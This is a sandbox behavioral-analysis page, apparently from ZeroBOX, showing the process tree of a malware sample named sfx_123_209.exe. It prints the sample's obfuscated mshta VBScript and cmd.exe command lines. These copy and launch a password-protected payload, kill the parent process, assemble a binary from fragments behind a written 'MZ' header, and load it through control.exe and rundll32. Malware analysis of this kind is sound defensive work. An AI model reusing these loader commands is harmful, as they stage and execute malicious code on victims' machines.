| ZeroBOX

sfx_123_209.exe "C:\Users\test22\AppData\Local\Temp\sfx_123_209.exe"
896
- mshta.exe "C:\Windows\System32\mshta.exe" vbscRipt: ClOsE (CrEATEoBjeCT ( "wsCrIpt.shELl" ).RUn( "C:\Windows\system32\cmd.exe /Q /c TyPe ""C:\Users\test22\AppData\Local\Temp\sfx_123_209.exe"" > ..\aDLsKHQL9R.exE && STaRT ..\aDLsKHQL9R.exe -pb0sP2z4l4ZpZ1d2K9 & if """" == """" for %Q IN ( ""C:\Users\test22\AppData\Local\Temp\sfx_123_209.exe"" ) do taskkill /f /Im ""%~nxQ"" ", 0 , TRUe ))
  2848
  - cmd.exe "C:\Windows\system32\cmd.exe" /Q /c TyPe "C:\Users\test22\AppData\Local\Temp\sfx_123_209.exe" > ..\aDLsKHQL9R.exE && STaRT ..\aDLsKHQL9R.exe -pb0sP2z4l4ZpZ1d2K9 & if "" == "" for %Q IN ("C:\Users\test22\AppData\Local\Temp\sfx_123_209.exe") do taskkill /f /Im "%~nxQ"
    2316
    - aDLsKHQL9R.exE ..\aDLsKHQL9R.exe -pb0sP2z4l4ZpZ1d2K9
      2212
      - mshta.exe "C:\Windows\System32\mshta.exe" vbscRipt: ClOsE (CrEATEoBjeCT ( "wsCrIpt.shELl" ).RUn( "C:\Windows\system32\cmd.exe /Q /c TyPe ""C:\Users\test22\AppData\Local\Temp\aDLsKHQL9R.exE"" > ..\aDLsKHQL9R.exE && STaRT ..\aDLsKHQL9R.exe -pb0sP2z4l4ZpZ1d2K9 & if ""-pb0sP2z4l4ZpZ1d2K9 "" == """" for %Q IN ( ""C:\Users\test22\AppData\Local\Temp\aDLsKHQL9R.exE"" ) do taskkill /f /Im ""%~nxQ"" ", 0 , TRUe ))
        2748
        
        cmd.exe "C:\Windows\system32\cmd.exe" /Q /c TyPe "C:\Users\test22\AppData\Local\Temp\aDLsKHQL9R.exE" > ..\aDLsKHQL9R.exE && STaRT ..\aDLsKHQL9R.exe -pb0sP2z4l4ZpZ1d2K9 & if "-pb0sP2z4l4ZpZ1d2K9 " == "" for %Q IN ("C:\Users\test22\AppData\Local\Temp\aDLsKHQL9R.exE") do taskkill /f /Im "%~nxQ"
        2092
      - mshta.exe "C:\Windows\System32\mshta.exe" VBSCripT: cLOsE ( cReAteObJeCt ( "WscRIpt.ShelL"). RuN ( "CMd.exE /c eCHo | seT /P = ""MZ"" > Xj5YWD.Tg &CopY /b /y xj5YWD.Tg+ pgMY8C.~+ nmS1._ ..\SmD2fE1.N& STart control ..\SMD2fE1.N &DeL /Q * " , 0, TrUE ) )
        200
        
        cmd.exe "C:\Windows\System32\cmd.exe" /c eCHo | seT /P = "MZ" > Xj5YWD.Tg &CopY /b /y xj5YWD.Tg+ pgMY8C.~+ nmS1._ ..\SmD2fE1.N& STart control ..\SMD2fE1.N &DeL /Q *
        2640
        
        cmd.exe C:\Windows\system32\cmd.exe /S /D /c" eCHo "
        3044
        
        cmd.exe C:\Windows\system32\cmd.exe /S /D /c" seT /P = "MZ" 1>Xj5YWD.Tg"
        2964
        
        control.exe control ..\SMD2fE1.N
        568
        
        rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\SMD2fE1.N
        1960
        
        rundll32.exe C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\SMD2fE1.N
        2844
        
        rundll32.exe "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\SMD2fE1.N
        2544
    - taskkill.exe taskkill /f /Im "sfx_123_209.exe"
      2988
explorer.exe C:\Windows\Explorer.EXE
1236

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID

default registry file network process services synchronisation iexplore office pdf

Behavioral Analysis

Process tree

Process contents